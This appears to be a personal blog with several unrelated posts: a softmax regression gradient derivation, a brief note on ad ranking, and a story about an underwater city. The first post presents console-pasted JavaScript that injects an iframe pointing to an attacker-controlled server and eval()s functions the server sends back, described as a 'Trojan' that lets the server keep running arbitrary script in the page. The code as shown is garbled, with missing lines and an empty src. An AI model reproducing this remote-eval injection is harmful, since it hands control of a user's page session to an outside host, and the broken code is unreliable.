## 2013年4月5日星期五

### use window.postMessage to hack a page

Just wondering to if I can ingest a Trojan into a page, and my server can control the client to run any javascript. Here I get a solution: https://developer.mozilla.org/en-US/docs/DOM/window.postMessage

Type F12 in Chrome and paste the following js code in Console:

//inject iframe window
var body = document.getElementsByTagName('body' )[0];
var iframe = document.createElement('iframe' );
"proxy_iframe";
iframe.src = ;
body.appendChild(iframe);

//register callback
eval( "("+event.data+ ")();" );
}

//invoke
window.setTimeout( function() {
iframe.contentWindow.postMessage( "0" , "*" );
}, 1000);

Replace localhost:24189 to the server you can control.

On server you can response a HTML like this:

< html>
< title> Proxy</ title >
< script>
//return a function to exec in host
function loop(args) {
return function () {
function crawl(url) {
}
crawl(( new Date()).toString());
window.setTimeout( function () {
iframe.contentWindow.postMessage( "0" , "*" );
}, 1000);
};
}

event.source.postMessage(loop(event.data).toString(), event.origin);
}

};
</ script></ head ><body ></ body>
</ html>
The magic here is you can serialize a function as a string from your server to the host page, and run the script in the host page. Don't forget, in the end of the function, to use window.setTimeout to let the host page find more jobs from your server later XD.

# Modeling

$I$ users, $F$ features and $C$ categories.
Training data: $x_{if}$ is the feature value of user $i$ for feature $f$. $x_{i}$ is the feature vector of user $i$.
Labeling: $y_{ic}$ is the category value of user $i$ for category $c$, for binary categorization, it is in $\{0, 1\}$. In weighed/generalized model, it can be any real number.
Take $\beta_{fc}$ as the affinity parameter (to train) between feature $f$ and category $c$. $\beta_{c}$ is the feature vector of category $c$.

# Scoring

$p_{ic}$ is the probability that user $i$ belongs to category $c$.
$p_{ic} \propto e^{x_{i}\beta_{c}}$
Since $\sum_c{p_{ic}}=1$, we have $p_{ic}=\frac{e^{x_{i}\beta_{c}}}{\sum_c{e^{x_{i}\beta_{c}}}}$
We also take $p_{ic}$ as the score of user $i$ for category $c$.

# Maximize Likelihood

The likelihood of $\beta$ is
$L(\beta) = \prod_{i,c}{p_{ic}^{y_{ic}}}$
$- ln(L(\beta)) = - \sum_{i,c}{y_{ic}ln(p_{ic})}$
With L2 regularization, we will minimize:
$$\Phi(\beta)= \frac{1}{2}\|\beta\|^2 - \sum_{i,c}{y_{ic}ln(p_{ic})}$$ Calculate the derivative:
Fixing any $f_0 < F, c_0 < C$ $$\frac{\partial\Phi(\beta)}{\partial \beta_{f_0 c_0}} =\beta_{f_0 c_0} - \sum_{i,c}\frac{y_{ic}}{p_{ic}}\frac{\partial p_{ic}}{\partial \beta_{f_0 c_0}}$$ Where \begin{align*} \frac{\partial p_{ic}}{\partial \beta_{f_0 c_0}} &=\frac{1_{c=c_0} e^{x_{i}\beta_{c}} x_{if_0} \sum_c{e^{x_{i}\beta_{c}}} - e^{x_{i}\beta_{c}} e^{x_{i}\beta_{c_0}} x_{if_0}}{(\sum_c{e^{x_{i}\beta_{c}}})^2} \\ &=1_{c=c_0} p_{ic} x_{if_0} - p_{ic} \frac{e^{x_{i}\beta_{c_0}}}{\sum_c{e^{x_{i}\beta_{c}}}} x_{if_0} \\ &=p_{ic} x_{if_0} (1_{c=c_0} - p_{ic_0}) \end{align*} So \begin{align*} \frac{\partial\Phi(\beta)}{\partial \beta_{f_0 c_0}} &=\beta_{f_0 c_0} - \sum_{i,c}{y_{ic} x_{if_0} (1_{c=c_0} - p_{ic_0})} \\ &=\beta_{f_0 c_0} - \sum_{i}{x_{if_0} (y_{ic_0} - p_{ic_0} \sum_c{y_{ic}})} \end{align*}

# Lemma 1

Take $\sum_c{y_{ic}}=1$ and ignor regulizer $\beta_{f_0 c_0}$, $$\frac{\partial\Phi(\beta)}{\partial \beta_{f_0 c_0}}=- \sum_{i}{x_{if_0} (y_{ic_0} - p_{ic_0})}$$ If we under score category $c_0$ for all users, that is to say $$p_{ic_0} < y_{ic_0}$$ Then $$\frac{\partial\Phi(\beta)}{\partial \beta_{f_0 c_0}} < 0$$ So we should enlarge $\beta_{f_0 c_0}$

# Lemma 2

If $\beta$ is the local minimization point $$\frac{\partial\Phi(\beta)}{\partial \beta_{f_0 c_0}} = 0 , \forall f_0, c_0$$ That is to say $$\beta_{f_0 c_0} = \sum_{i}{x_{if_0} (y_{ic_0} - p_{ic_0} \sum_c{y_{ic}})} , \forall f_0, c_0$$ Summarize over all $c_0$, we have $$\sum_{c_0}{\beta_{f_0 c_0}} = \sum_{i}{x_{if_0}(\sum_{c_0}{y_{ic_0}} - \sum_{c_0}{p_{ic_0}} \sum_c{y_{ic}})} = 0, \forall f_0$$ It means: as long as we have L2 regularization, no matter if $\sum_c{y_{ic}}=1$, the center of gravity of affinity parameters locates in the origin.

## 2012年12月1日星期六

### 推荐系统论坛2012参后感

max predicted CTR * (ad bid + p * click value)
predicted CTR是用户在当前上下文点击被推荐对象的概率。
p是神奇的pacing parameter，通过一个负反馈系统在线动态调整。

Hulu

## 2012年9月15日星期六

I would like to tell you about my adventure to a wacity last Friday, which was very exciting.

I am a farmer in 31 century, and now the scientists can enable people to breathe and live in the water as in the air. So years ago, my family emigrate to a village down the sea, earning lives by growing coral.

Last Friday, when I was working on my coral farm, a shark came out toward to me quickly. I felt so terrified that I hurried jumped into my wajeep (the jeep in water) and escaped away. I speeded it up to the limit, but still couldn't get rid of the shark, which was chasing me nearer and nearer. I do not know how far did I rush, until there came across a watruck suddenly and knocked mine down.

When I woke up, I found myself in a wacity I had never been. My wajeep was gone, and so was the shark. A huge tube appeared in my sight, with a hole on it. I swam to the hold curiously, and when I was at a distance about one meter away, there came an enormous force absorbing me into it! "Hey, where are you from, freshman?" someone asked me. "Coral land" I replied," and what it is, I mean this tube?" "Wahighway." "Wa-highway? But where are the wacars?" At the moment I asked that foolish question, the water in the tube began to flow toward a direction. All the people in the tube, no, the wahighway, floated following the stream. Then I saw what the wahighway meant. "Where are we going?" I asked that man. "The centre of the wacity." he answered.

"Nice," I said to myself, "There I will find the police station and ask them to help me back home!"

When the stream stopped, there opened a hole on the tube. "Excuse me, can you tell me where the nearest police station is please?" I asked an old woman in the street, having come out of the tube. "Well, young man, go along this street and turn left at the first cross, and then turn up at the corner. Then you will find it." "Thank you madam, but what do you mean by 'turn up'?" "You see, in a wacross, we have five choices, instead of three as cross on the ground. You can turn left or right, up or down, or go ahead. Do you understand?"  "I've got it, here we have three dimensions! Thank you very much!"

Several minutes later, I arrived at the police station building. I search around it but didn't find any door! I pondered for a while, and then I opened a window and got into it for help. "This wacity must be designed by Microsoft, or everyone here has got used to windows," I thought associate with the hole on the wahighway tube. In the station, the police officers offered me a lunch, and in the afternoon, they send me back.

"Thanks for the shark, or I won't know there is a wacity in the world!" I thought to myself on my way home.